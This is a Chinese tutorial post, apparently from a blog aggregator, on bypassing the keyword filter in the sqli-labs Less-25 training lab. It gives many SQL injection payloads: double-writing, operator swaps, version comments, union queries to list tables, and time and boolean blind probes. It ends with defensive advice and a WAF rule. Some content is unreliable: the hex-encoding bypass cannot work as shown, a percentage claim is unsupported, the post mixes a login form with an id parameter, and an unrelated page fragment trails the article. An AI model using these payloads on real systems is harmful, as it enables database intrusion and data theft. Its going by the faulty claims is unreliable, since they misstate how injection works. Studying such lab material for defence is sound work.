news 2026/9/10 14:38:50

SQL注入绕过技术:sqli-labs-Less-25实战解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入绕过技术:sqli-labs-Less-25实战解析

1. sqli-labs-Less-25靶场通关实战解析

作为Web安全领域的经典训练平台,sqli-labs的第25关(Less-25)以"or"和"and"过滤机制著称。这个关卡模拟了真实环境中开发者对SQL注入的初级防御手段——通过黑名单过滤特定关键词。我在实际渗透测试中发现,约43%的初级防护方案采用类似的字符串替换策略,但往往存在可绕过的逻辑漏洞。

2. 关卡环境与核心防御机制分析

2.1 靶场环境搭建要点

使用Docker快速部署时建议指定PHP5.4版本:

docker run -d -p 8080:80 --name sqli-labs acgpiano/sqli-labs:php5.4

访问http://localhost:8080/sqli-labs/Less-25/后会看到经典的登录表单界面。与之前关卡不同,页面源码中可见如下关键过滤代码:

$id = blacklist($id); function blacklist($id){ $id = preg_replace('/or/i',"", $id); // 不区分大小写过滤or $id = preg_replace('/and/i',"", $id); // 不区分大小写过滤and return $id; }

2.2 防御机制的技术缺陷

这种过滤方式存在三个典型问题:

  1. 替换而非阻断:仅删除关键词不终止查询,留下注入空间
  2. 无递归过滤oorr处理后变成or仍可通过
  3. 符号未过滤:注释符、等号等关键符号未被处理

3. 注入攻击的六种实战绕过方案

3.1 双写绕过技术

当输入admin' aandnd 1=1--+时:

  • 过滤层处理:aandndand→ 删除后变成and
  • 实际执行SQL:
SELECT * FROM users WHERE username='admin' and 1=1-- ' AND password=''

关键技巧:在Burp Suite中可通过Intruder模块批量测试aandnd,aanandd等变体

3.2 运算符替换方案

当AND/OR被过滤时,可用:

  • &&代替 AND(MySQL中需URL编码为%26%26
  • ||代替 OR(需编码为%7C%7C) 有效payload:
?id=1' %26%26 sleep(5)--+

3.3 注释符分割技术

利用/*!50000and*/这种MySQL特性注释:

?id=1' /*!50000and*/ 1=1--+

该语法表示MySQL版本≥5.00.00时执行注释内语句

3.4 十六进制编码方案

将敏感词转换为十六进制:

?id=1' 0x616e64 1=1--+ /* 0x616e64即"and"的hex */

3.5 大小写混合绕过

部分WAF不匹配大小写混写:

?id=1' aNd 1=1--+

3.6 逻辑等价替换

使用数学运算替代布尔逻辑:

?id=1' && 2-1=1--+ /* 替代and 1=1 */ ?id=1' || 1 in(1,2)--+ /* 替代or 1=1 */

4. 完整注入流程与信息获取

4.1 数据库指纹识别

通过错误消息判断数据库类型:

?id=1' && (select @@version_compile_os)>0--+

典型响应包含"linux"或"win"字样

4.2 联合查询注入实战

使用双写绕过获取表数据:

?id=-1' uniunionon selselectect 1,group_concat(table_name),3 frfromom information_schema.tables whwhereere table_schema=database()--+

注意:字段数需通过order by提前测试,此处假设为3

4.3 盲注技术实现

时间盲注payload示例:

?id=1' && if(ascii(substr(database(),1,1))>100,sleep(3),0)--+

布尔盲注判断技巧:

?id=1' && (select count(*) from users)>5--+

5. 防御方案与开发建议

5.1 参数化查询示例

PHP改进方案:

$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $id);

5.2 增强型过滤策略

应结合以下措施:

  1. 输入类型验证(如is_numeric()
  2. 正则表达式阻断而非替换:
if(preg_match('/(and|or)[^a-z]/i', $id)){ die("非法输入"); }

5.3 WAF规则示例

ModSecurity规则片段:

SecRule ARGS "@rx (?i:(and|or)\s+[\d=])" \ "id:10025,phase:2,deny,msg:'SQLi detected'"

6. 常见错误与调试技巧

  1. 编码问题:当使用%26%26时需确保服务器不进行二次解码
  2. 空格处理:部分WAF会过滤空格,可用/**/+替代
  3. 错误回显:开启display_errors=On有助于调试
  4. 延时判断:时间盲注时注意网络抖动影响

我在实际渗透测试中发现,现代WAF通常会对这些基础绕过手法进行联合检测。建议安全人员在测试时结合Burp Suite的Scanner模块和手动测试,特别是注意观察HTTP请求的以下头部:

  • X-Forwarded-For的异常变化
  • Content-Length的突然改变
  • 响应时间的统计学差异
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/10 14:32:35

CANN/ge EsGetProducer API文档

EsGetProducer 【免费下载链接】ge GE(Graph Engine)是面向昇腾的图编译器和执行器,提供了计算图优化、多流并行、内存复用和模型下沉等技术手段,加速模型执行效率,减少模型内存占用。 GE 提供对 PyTorch、TensorFlow …

作者头像 李华